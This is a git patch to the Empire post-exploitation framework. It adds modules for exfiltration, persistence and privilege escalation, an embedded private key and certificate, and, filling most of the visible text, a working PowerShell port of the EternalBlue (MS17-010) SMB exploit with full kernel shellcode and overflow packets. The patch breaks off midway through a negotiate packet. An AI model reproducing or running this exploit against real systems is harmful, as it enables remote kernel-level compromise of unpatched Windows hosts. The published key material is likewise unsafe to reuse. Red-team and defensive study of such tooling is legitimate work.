From e59364efccfdb3d816ef8a00ed8cf6f79e169f88 Mon Sep 17 00:00:00 2001 From: cobbr Date: Thu, 29 Jun 2017 22:11:01 -0500 Subject: [PATCH] Merge latest Empire-dev changes --- .gitignore | 4 +- data/agent/stagers/http_mapi.ps1 | Bin 0 -> 7986 bytes data/empire.pem | 46 + .../exploitation/Exploit-EternalBlue.ps1 | 713 +++++++++ data/module_source/privesc/Invoke-MS16135.ps1 | 986 +++++++++++++ .../network/BloodHound.ps1 | 1295 ++++++++++------- empire | 22 +- lib/common/agents.py | 8 +- lib/common/stagers.py | 10 +- lib/listeners/http.py | 3 +- lib/listeners/http_com.py | 3 +- lib/listeners/http_mapi.py | 626 ++++++++ .../powershell/exfiltration/exfil_dropbox.py | 141 ++ .../exploitation/exploit_eternalblue.py | 108 ++ .../persistence/elevated/wmi_updater.py | 201 +++ lib/modules/powershell/privesc/ms16-135.py | 105 ++ .../network/bloodhound.py | 39 +- lib/modules/python/collection/osx/prompt.py | 20 +- lib/stagers/windows/macro.py | 19 +- setup/cert.sh | 7 +- setup/install.sh | 8 +- setup/setup_database.py | 6 +- 22 files changed, 3777 insertions(+), 593 deletions(-) create mode 100644 data/agent/stagers/http_mapi.ps1 create mode 100644 data/empire.pem create mode 100755 data/module_source/exploitation/Exploit-EternalBlue.ps1 create mode 100644 data/module_source/privesc/Invoke-MS16135.ps1 create mode 100644 lib/listeners/http_mapi.py create mode 100644 lib/modules/powershell/exfiltration/exfil_dropbox.py create mode 100755 lib/modules/powershell/exploitation/exploit_eternalblue.py create mode 100644 lib/modules/powershell/persistence/elevated/wmi_updater.py create mode 100644 lib/modules/powershell/privesc/ms16-135.py diff --git a/.gitignore b/.gitignore index 78f03f7..cf3cc7d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ data/empire.db -data/empire.pem +data/empire-chain.pem +data/empire-priv.key empire.debug *.pyc downloads/* @@ -11,3 +12,4 @@ data/misc/ToObfuscate.ps1 data/misc/Obfuscated.ps1 setup/xar* setup/bomutils/* +.venv diff --git a/data/agent/stagers/http_mapi.ps1 b/data/agent/stagers/http_mapi.ps1 new file mode 100644 index 0000000000000000000000000000000000000000..c0591e3bb21485cce03d3081bf20e00b5fd5667a GIT binary patch literal 7986 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 literal 0 HcmV?d00001 diff --git a/data/empire.pem b/data/empire.pem new file mode 100644 index 0000000..5c1e7b6 --- /dev/null +++ b/data/empire.pem @@ -0,0 +1,46 @@ +-----BEGIN PRIVATE KEY----- +MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDT8qCR+GR2lVKG +M6G7pABaOIfCQKvzO3eckz8q+jVq2HgI34AvIg4tctgEnh4r1euxKtMkkSRmvedT +zZgPKh0UaEjROs5rIbXeRhqE7Ey6oVXcJG7DLYZ/Awk1G3Yi+TmtzRGGfE3VJ61O +V+gzTH2Q7jayFF1sNdpBk2Rs4I2VU46k/UWyHnPzIxbPlkBa5D/LiPnI+/b6qpqk +p/fsvewb6Xqb3PujemF+y/4jiHDtE9KicgxDh9u3niTi8Bg7fOWfBbhMaGIzITkK +WFXpJe9feDqxhoys5qUh8hfccFdNXz6QCBZiw5COq6s8ybimOBrmEs09IdGZi86T +bwGOQI3XAgMBAAECggEBANNjZiqwJuLuw0P+MwzG4WMahqyDe/w4D3AmnBXtP2G1 +TOLspxhbSvChXjocydLGpTAqmjQaXsfqF9JJd6OISUCVUir8D+xhztZF7SUt2Mk7 +KDtMSvx3Z3E+Qeyp2wW+tHxXz2bmi2pRDFTa8EhZvdLTA9JQ5WyLuYc1zi+ZNxz6 +SzybS0Th9RJT0crPuhxEHxAN50pc61trRnI2YHYTaW4ArRbNFXImqRLsU9l9h9kz +VVlVoP9oIJos2a40Osi3Du+6tmVFWcs9+fxxNnY1sfVrAVk6nHI40Vln4Ul+BZyo +ZP8SMnxI9NoSMJahymjkcZad3tbwgvjq+yaQck1alGECgYEA/V14iLkCJoUK6dmU +zhR8p3Pycxy19s0CSSqPYvvnENfxarimOHW6nIMu0eDMXLVnIHAXsr81zWkeh4eP +GPEUSqclGwkXp4yHirMtoTFWhbo16QMSEFBKUHmwNJNSzScLR5jRGgVJapXr+qsN +WNlR3ifF+Ki6f87io9u8/rwUut0CgYEA1ibkSUs2POa0UcAXtE7G/Rsc7aEuVo9b +U+I5uIhMvveKm0Ff2oo1yQzDSxmjFhYzBeXsBQ6Jy796EcaLFpUc9H08kOsJq9gP +JAfSMljLasrqqAQ6J37CAmbEqHQ3MEdEFqUIk6Cf0iVmphXexd7LaDx2IuAy5Kfn +3MXH4KVo3kMCgYA2Yv4guzYO9rglAqPCqPspJuaAd0VIOTGoaw5kfRZYs0ILWp+z +tvHb7vz56Ht12yrL98PehtURxuLazOqWvAlTDRYV+5msSao+x7+fvmuIQTSZVCNo +hROuurBsWMOJbjwpnlAkecYMryn8oQM4c03zli4U9oMyNELKUbz8IXuBsQKBgQC0 +4/klKBDSdJWQEFB1j61qEsLmvqVjnIgqXQcgppEdJf/AkQIkmWZBQzSbdTZa67mB +m+s3gkZHAqBb73eBRcdFhZvpVX+/1itD5g9ZU8PPm0OHVLrCrcG3QZOQL0qGz0vm +TNTnzl/xpIIGfKbGQSFUFO49G2Ah4Oprg+0IBvCD/QKBgQCZcIjPZDWMIRg/Q4Fj +ypUb59p8wCQHMuZNwuxRTwjQkAp3xpqYNIBafHSlPzNf8BWzx+orsLnh6RJbA8uB +9++4Wu01u4JofuGdVqN73AJBx8eQEJkJsPNEwxSv4Swzwkw5mGkqi5UzPFMlwwQi +DIF8+rA64PoZDIUB3UkV0i70ng== +-----END PRIVATE KEY----- +-----BEGIN CERTIFICATE----- +MIIC8DCCAdigAwIBAgIJAIVXuX8kX4CxMA0GCSqGSIb3DQEBCwUAMA0xCzAJBgNV +BAYTAlVTMB4XDTE3MDUxNzA1NDkxNVoXDTE4MDUxNzA1NDkxNVowDTELMAkGA1UE +BhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDT8qCR+GR2lVKG +M6G7pABaOIfCQKvzO3eckz8q+jVq2HgI34AvIg4tctgEnh4r1euxKtMkkSRmvedT +zZgPKh0UaEjROs5rIbXeRhqE7Ey6oVXcJG7DLYZ/Awk1G3Yi+TmtzRGGfE3VJ61O +V+gzTH2Q7jayFF1sNdpBk2Rs4I2VU46k/UWyHnPzIxbPlkBa5D/LiPnI+/b6qpqk +p/fsvewb6Xqb3PujemF+y/4jiHDtE9KicgxDh9u3niTi8Bg7fOWfBbhMaGIzITkK +WFXpJe9feDqxhoys5qUh8hfccFdNXz6QCBZiw5COq6s8ybimOBrmEs09IdGZi86T +bwGOQI3XAgMBAAGjUzBRMB0GA1UdDgQWBBRietD7PGv5ivWBLRJMyra4elWlLjAf +BgNVHSMEGDAWgBRietD7PGv5ivWBLRJMyra4elWlLjAPBgNVHRMBAf8EBTADAQH/ +MA0GCSqGSIb3DQEBCwUAA4IBAQCOU0aqgYba7aD7/7pV3rZrTFC+kwUs3TZ0/xWi +CZA8aN5+TRQDdvOUM1fqyJx5Y7uv+V9gafHwJAc7FZ9643zS6Zt0I2eUrbP9dmg7 +sj8u19Isdy0EetDGXeyA7r+BRUSkFpKbXZYWE7rUr7t3QkROyGbU2ebEE/S2RnBc +A+/d7waKqIyu7wlmcP2jUgQjiwDiWJAuGeb9gJGsTjCj1I4z6rk6/xpnXV70ovG7 +jUNm6tOTkxB5pgEel/2gHs/KZVld9gYSoh5GnJWtlFQYvZGaMEK419hfTMElLoQY +8JL+XvYxkA/4+zXtQS3ZgslAAZlh96Nx8SU8QWJ4qJ2jYQJg +-----END CERTIFICATE----- diff --git a/data/module_source/exploitation/Exploit-EternalBlue.ps1 b/data/module_source/exploitation/Exploit-EternalBlue.ps1 new file mode 100755 index 0000000..0677ed1 --- /dev/null +++ b/data/module_source/exploitation/Exploit-EternalBlue.ps1 @@ -0,0 +1,713 @@ + + +function Invoke-EternalBlue($Target, $InitialGrooms, $MaxAttempts, $Shellcode){ + +<# + .SYNOPSIS + PowerShell port of MS17_010 Metasploit module + Based on Eternal Blue metasploit module by Sean Dillon ', + # @zerosum0x0 'Dylan Davis ', + # @jennamagius + + .PARAMETER Target. + Host to exploit + .PARAMETER InitialGrooms + Initial Grooms. + .PARAMETER MaxAttempts + number of times to run exploit + .PARAMETER ShellCode + ShellCode to execute on exploit + + + .EXAMPLE + Invoke-EternalBlue -Target 127.0.0.1 -InitialGrooms 12 -MaxAttempts 12 -Shellcode @(0x90,0x90,0xC3) +#> + + +$enc = [system.Text.Encoding]::ASCII + + +$GROOM_DELTA = 5 + + +function make_kernel_shellcode { + [Byte[]] $shellcode =@(0xB9,0x82,0x00,0x00,0xC0,0x0F,0x32,0x48,0xBB,0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF, +0xFF,0x89,0x53,0x04,0x89,0x03,0x48,0x8D,0x05,0x0A,0x00,0x00,0x00,0x48,0x89,0xC2, +0x48,0xC1,0xEA,0x20,0x0F,0x30,0xC3,0x0F,0x01,0xF8,0x65,0x48,0x89,0x24,0x25,0x10, +0x00,0x00,0x00,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x50,0x53,0x51,0x52, +0x56,0x57,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41, +0x56,0x41,0x57,0x6A,0x2B,0x65,0xFF,0x34,0x25,0x10,0x00,0x00,0x00,0x41,0x53,0x6A, +0x33,0x51,0x4C,0x89,0xD1,0x48,0x83,0xEC,0x08,0x55,0x48,0x81,0xEC,0x58,0x01,0x00, +0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x9D,0xC0,0x00,0x00,0x00, +0x48,0x89,0xBD,0xC8,0x00,0x00,0x00,0x48,0x89,0xB5,0xD0,0x00,0x00,0x00,0x48,0xA1, +0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0xC1,0xEA,0x20,0x48, +0x31,0xDB,0xFF,0xCB,0x48,0x21,0xD8,0xB9,0x82,0x00,0x00,0xC0,0x0F,0x30,0xFB,0xE8, +0x38,0x00,0x00,0x00,0xFA,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x48,0x83, +0xEC,0x78,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59, +0x41,0x58,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0x58,0x65,0x48,0x8B,0x24,0x25,0x10,0x00, +0x00,0x00,0x0F,0x01,0xF8,0xFF,0x24,0x25,0xF8,0x0F,0xD0,0xFF,0x56,0x41,0x57,0x41, +0x56,0x41,0x55,0x41,0x54,0x53,0x55,0x48,0x89,0xE5,0x66,0x83,0xE4,0xF0,0x48,0x83, +0xEC,0x20,0x4C,0x8D,0x35,0xE3,0xFF,0xFF,0xFF,0x65,0x4C,0x8B,0x3C,0x25,0x38,0x00, +0x00,0x00,0x4D,0x8B,0x7F,0x04,0x49,0xC1,0xEF,0x0C,0x49,0xC1,0xE7,0x0C,0x49,0x81, +0xEF,0x00,0x10,0x00,0x00,0x49,0x8B,0x37,0x66,0x81,0xFE,0x4D,0x5A,0x75,0xEF,0x41, +0xBB,0x5C,0x72,0x11,0x62,0xE8,0x18,0x02,0x00,0x00,0x48,0x89,0xC6,0x48,0x81,0xC6, +0x08,0x03,0x00,0x00,0x41,0xBB,0x7A,0xBA,0xA3,0x30,0xE8,0x03,0x02,0x00,0x00,0x48, +0x89,0xF1,0x48,0x39,0xF0,0x77,0x11,0x48,0x8D,0x90,0x00,0x05,0x00,0x00,0x48,0x39, +0xF2,0x72,0x05,0x48,0x29,0xC6,0xEB,0x08,0x48,0x8B,0x36,0x48,0x39,0xCE,0x75,0xE2, +0x49,0x89,0xF4,0x31,0xDB,0x89,0xD9,0x83,0xC1,0x04,0x81,0xF9,0x00,0x00,0x01,0x00, +0x0F,0x8D,0x66,0x01,0x00,0x00,0x4C,0x89,0xF2,0x89,0xCB,0x41,0xBB,0x66,0x55,0xA2, +0x4B,0xE8,0xBC,0x01,0x00,0x00,0x85,0xC0,0x75,0xDB,0x49,0x8B,0x0E,0x41,0xBB,0xA3, +0x6F,0x72,0x2D,0xE8,0xAA,0x01,0x00,0x00,0x48,0x89,0xC6,0xE8,0x50,0x01,0x00,0x00, +0x41,0x81,0xF9,0xBF,0x77,0x1F,0xDD,0x75,0xBC,0x49,0x8B,0x1E,0x4D,0x8D,0x6E,0x10, +0x4C,0x89,0xEA,0x48,0x89,0xD9,0x41,0xBB,0xE5,0x24,0x11,0xDC,0xE8,0x81,0x01,0x00, +0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x4D,0x8D,0x4E,0x08,0x49,0xC7,0x01,0x00, +0x10,0x00,0x00,0x4D,0x31,0xC0,0x4C,0x89,0xF2,0x31,0xC9,0x48,0x89,0x0A,0x48,0xF7, +0xD1,0x41,0xBB,0x4B,0xCA,0x0A,0xEE,0x48,0x83,0xEC,0x20,0xE8,0x52,0x01,0x00,0x00, +0x85,0xC0,0x0F,0x85,0xC8,0x00,0x00,0x00,0x49,0x8B,0x3E,0x48,0x8D,0x35,0xE9,0x00, +0x00,0x00,0x31,0xC9,0x66,0x03,0x0D,0xD7,0x01,0x00,0x00,0x66,0x81,0xC1,0xF9,0x00, +0xF3,0xA4,0x48,0x89,0xDE,0x48,0x81,0xC6,0x08,0x03,0x00,0x00,0x48,0x89,0xF1,0x48, +0x8B,0x11,0x4C,0x29,0xE2,0x51,0x52,0x48,0x89,0xD1,0x48,0x83,0xEC,0x20,0x41,0xBB, +0x26,0x40,0x36,0x9D,0xE8,0x09,0x01,0x00,0x00,0x48,0x83,0xC4,0x20,0x5A,0x59,0x48, +0x85,0xC0,0x74,0x18,0x48,0x8B,0x80,0xC8,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0C, +0x48,0x83,0xC2,0x4C,0x8B,0x02,0x0F,0xBA,0xE0,0x05,0x72,0x05,0x48,0x8B,0x09,0xEB, +0xBE,0x48,0x83,0xEA,0x4C,0x49,0x89,0xD4,0x31,0xD2,0x80,0xC2,0x90,0x31,0xC9,0x41, +0xBB,0x26,0xAC,0x50,0x91,0xE8,0xC8,0x00,0x00,0x00,0x48,0x89,0xC1,0x4C,0x8D,0x89, +0x80,0x00,0x00,0x00,0x41,0xC6,0x01,0xC3,0x4C,0x89,0xE2,0x49,0x89,0xC4,0x4D,0x31, +0xC0,0x41,0x50,0x6A,0x01,0x49,0x8B,0x06,0x50,0x41,0x50,0x48,0x83,0xEC,0x20,0x41, +0xBB,0xAC,0xCE,0x55,0x4B,0xE8,0x98,0x00,0x00,0x00,0x31,0xD2,0x52,0x52,0x41,0x58, +0x41,0x59,0x4C,0x89,0xE1,0x41,0xBB,0x18,0x38,0x09,0x9E,0xE8,0x82,0x00,0x00,0x00, +0x4C,0x89,0xE9,0x41,0xBB,0x22,0xB7,0xB3,0x7D,0xE8,0x74,0x00,0x00,0x00,0x48,0x89, +0xD9,0x41,0xBB,0x0D,0xE2,0x4D,0x85,0xE8,0x66,0x00,0x00,0x00,0x48,0x89,0xEC,0x5D, +0x5B,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5E,0xC3,0xE9,0xB5,0x00,0x00,0x00, +0x4D,0x31,0xC9,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x3C,0x61,0x7C,0x02,0x2C,0x20, +0x41,0x01,0xC1,0x38,0xE0,0x75,0xEC,0xC3,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48, +0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x12,0x48,0x8B,0x72,0x50,0x48,0x0F, +0xB7,0x4A,0x4A,0x45,0x31,0xC9,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41, +0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xEE,0x45,0x39,0xD9,0x75,0xDA,0x4C,0x8B,0x7A, +0x20,0xC3,0x4C,0x89,0xF8,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x89,0xC2,0x8B, +0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x01,0xD0,0x50,0x8B, +0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88, +0x48,0x01,0xD6,0xE8,0x78,0xFF,0xFF,0xFF,0x45,0x39,0xD9,0x75,0xEC,0x58,0x44,0x8B, +0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01, +0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41, +0x5B,0x41,0x53,0xFF,0xE0,0x56,0x41,0x57,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20, +0x41,0xBB,0xDA,0x16,0xAF,0x92,0xE8,0x4D,0xFF,0xFF,0xFF,0x31,0xC9,0x51,0x51,0x51, +0x51,0x41,0x59,0x4C,0x8D,0x05,0x1A,0x00,0x00,0x00,0x5A,0x48,0x83,0xEC,0x20,0x41, +0xBB,0x46,0x45,0x1B,0x22,0xE8,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xEC,0x5D,0x41,0x5F, +0x5E,0xC3) +return $shellcode +} + +function make_kernel_user_payload($ring3) { + $sc = make_kernel_shellcode + $sc += [bitconverter]::GetBytes([uint16] ($ring3.length)) + $sc += $ring3 + return $sc + } +function make_smb2_payload_headers_packet(){ + [Byte[]] $pkt = [Byte[]](0x00,0x00,0xff,0xf7,0xFE) + [system.Text.Encoding]::ASCII.GetBytes("SMB") + [Byte[]](0x00)*124 + + return $pkt +} + +function make_smb2_payload_body_packet($kernel_user_payload) { + $pkt_max_len = 4204 + $pkt_setup_len = 497 + $pkt_max_payload = $pkt_max_len - $pkt_setup_len + + #padding + [Byte[]] $pkt = [Byte[]] (0x00) * 0x8 + $pkt += 0x03,0x00,0x00,0x00 + $pkt += [Byte[]] (0x00) * 0x1c + $pkt += 0x03,0x00,0x00,0x00 + $pkt += [Byte[]] (0x00) * 0x74 + +# KI_USER_SHARED_DATA addresses + $pkt += [Byte[]] (0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff) * 2 # x64 address + $pkt += [Byte[]] (0x00) * 0x10 + $pkt += [Byte[]] (0xc0,0xf0,0xdf,0xff) * 2 # x86 address + $pkt += [Byte[]] (0x00) * 0xc4 + + # payload addreses + $pkt += 0x90,0xf1,0xdf,0xff + $pkt += [Byte[]] (0x00) * 0x4 + $pkt += 0xf0,0xf1,0xdf,0xff + $pkt += [Byte[]] (0x00) * 0x40 + + $pkt += 0xf0,0x01,0xd0,0xff,0xff,0xff,0xff,0xff + $pkt += [Byte[]] (0x00) * 0x8 + $pkt += 0x00,0x02,0xd0,0xff,0xff,0xff,0xff,0xff + $pkt += 0x00 + + $pkt += $kernel_user_payload + + # fill out the rest, this can be randomly generated + $pkt += 0x00 * ($pkt_max_payload - $kernel_user_payload.length) + + return $pkt +} + +function make_smb1_echo_packet($tree_id, $user_id) { + [Byte[]] $pkt = [Byte[]] (0x00) # type + $pkt += 0x00,0x00,0x31 # len = 49 + $pkt += [Byte[]] (0xff) + $enc.GetBytes("SMB") # SMB1 + $pkt += 0x2b # Echo + $pkt += 0x00,0x00,0x00,0x00 # Success + $pkt += 0x18 # flags + $pkt += 0x07,0xc0 # flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # Reserved + $pkt += $tree_id # Tree ID + $pkt += 0xff,0xfe # PID + $pkt += $user_id # UserID + $pkt += 0x40,0x00 # MultiplexIDs + + $pkt += 0x01 # Word count + $pkt += 0x01,0x00 # Echo count + $pkt += 0x0c,0x00 # Byte count + + # echo data + # this is an existing IDS signature, and can be nulled out + #$pkt += 0x4a,0x6c,0x4a,0x6d,0x49,0x68,0x43,0x6c,0x42,0x73,0x72,0x00 + $pkt += 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00 + return $pkt +} + +function make_smb1_trans2_exploit_packet($tree_id, $user_id, $type, $timeout) { + $timeout = ($timeout * 0x10) + 3 + + [Byte[]] $pkt = [Byte[]] (0x00) # Session message + $pkt += 0x00,0x10,0x35 # length + $pkt += 0xff,0x53,0x4D,0x42 # SMB1 + $pkt += 0x33 # Trans2 request + $pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS + $pkt += 0x18 # Flags + $pkt += 0x07,0xc0 # Flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # Reserved + $pkt += $user_id # TreeID + $pkt += 0xff,0xfe # PID + $pkt += $user_id # UserID + $pkt += 0x40,0x00 # MultiplexIDs + + $pkt += 0x09 # Word Count + $pkt += 0x00,0x00 # Total Param Count + $pkt += 0x00,0x10 # Total Data Count + $pkt += 0x00,0x00 # Max Param Count + $pkt += 0x00,0x00 # Max Data Count + $pkt += 0x00 # Max Setup Count + $pkt += 0x00 # Reserved + $pkt += 0x00,0x10 # Flags + $pkt += 0x35,0x00,0xd0 # Timeouts + $pkt += [bitconverter]::GetBytes($timeout)[0] #timeout is a single int + $pkt += 0x00,0x00 # Reserved + $pkt += 0x00,0x10 # Parameter Count + + #$pkt += 0x74,0x70 # Parameter Offset + #$pkt += 0x47,0x46 # Data Count + #$pkt += 0x45,0x6f # Data Offset + #$pkt += 0x4c # Setup Count + #$pkt += 0x4f # Reserved + + if ($type -eq "eb_trans2_exploit") { + + $pkt += [Byte[]] (0x41) * 2957 + + $pkt += 0x80,0x00,0xa8,0x00 # overflow + + $pkt += [Byte[]] (0x00) * 0x10 + $pkt += 0xff,0xff + $pkt += [Byte[]] (0x00) * 0x6 + $pkt += 0xff,0xff + $pkt += [Byte[]] (0x00) * 0x16 + + $pkt += 0x00,0xf1,0xdf,0xff # x86 addresses + $pkt += [Byte[]] (0x00) * 0x8 + $pkt += 0x20,0xf0,0xdf,0xff + + $pkt += 0x00,0xf1,0xdf,0xff,0xff,0xff,0xff,0xff # x64 + + $pkt += 0x60,0x00,0x04,0x10 + $pkt += [Byte[]] (0x00) * 4 + + $pkt += 0x80,0xef,0xdf,0xff + + $pkt += [Byte[]] (0x00) * 4 + $pkt += 0x10,0x00,0xd0,0xff,0xff,0xff,0xff,0xff + $pkt += 0x18,0x01,0xd0,0xff,0xff,0xff,0xff,0xff + $pkt += [Byte[]] (0x00) * 0x10 + + $pkt += 0x60,0x00,0x04,0x10 + $pkt += [Byte[]] (0x00) * 0xc + $pkt += 0x90,0xff,0xcf,0xff,0xff,0xff,0xff,0xff + $pkt += [Byte[]] (0x00) * 0x8 + $pkt += 0x80,0x10 + $pkt += [Byte[]] (0x00) * 0xe + $pkt += 0x39 + $pkt += 0xbb + + $pkt += [Byte[]] (0x41) * 965 + + return $pkt + } + + if($type -eq "eb_trans2_zero") { + $pkt += [Byte[]] (0x00) * 2055 + $pkt += 0x83,0xf3 + $pkt += [Byte[]] (0x41) * 2039 + #$pkt += 0x00 * 4096 + } + else { + $pkt += [Byte[]] (0x41) * 4096 + } + + return $pkt + } +function negotiate_proto_request() +{ + + [Byte[]] $pkt = [Byte[]] (0x00) # Message_Type + $pkt += 0x00,0x00,0x54 # Length + + $pkt += 0xFF,0x53,0x4D,0x42 # server_component: .SMB + $pkt += 0x72 # smb_command: Negotiate Protocol + $pkt += 0x00,0x00,0x00,0x00 # nt_status + $pkt += 0x18 # flags + $pkt += 0x01,0x28 # flags2 + $pkt += 0x00,0x00 # process_id_high + $pkt += 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 # signature + $pkt += 0x00,0x00 # reserved + $pkt += 0x00,0x00 # tree_id + $pkt += 0x2F,0x4B # process_id + 